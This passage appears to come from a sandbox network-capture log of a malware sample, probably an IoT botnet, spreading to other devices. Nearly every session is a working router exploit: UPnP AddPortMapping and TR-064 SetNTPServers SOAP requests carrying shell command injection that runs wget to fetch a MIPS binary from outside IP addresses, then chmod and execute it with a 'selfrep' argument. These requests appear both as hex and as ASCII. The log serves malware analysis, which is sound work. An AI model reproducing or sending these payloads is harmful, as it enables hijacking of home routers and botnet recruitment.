6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:09.728429079 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:24.064445972 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:52.480376959 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.13	41788	47.198.48.210	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.753957033 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.13	56958	69.53.13.168	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.860816002 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:56.093785048 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="54d95d095632f189aa11fa5c46110ae0000da0dc",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.13	51976	121.169.204.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.911623955 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.13	37402	199.208.108.1	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.925460100 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:56.132258892 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.13	43190	24.232.34.170	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.928863049 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.13	41850	47.198.48.210	7547

Timestamp	Bytes transferred	Direction	Data
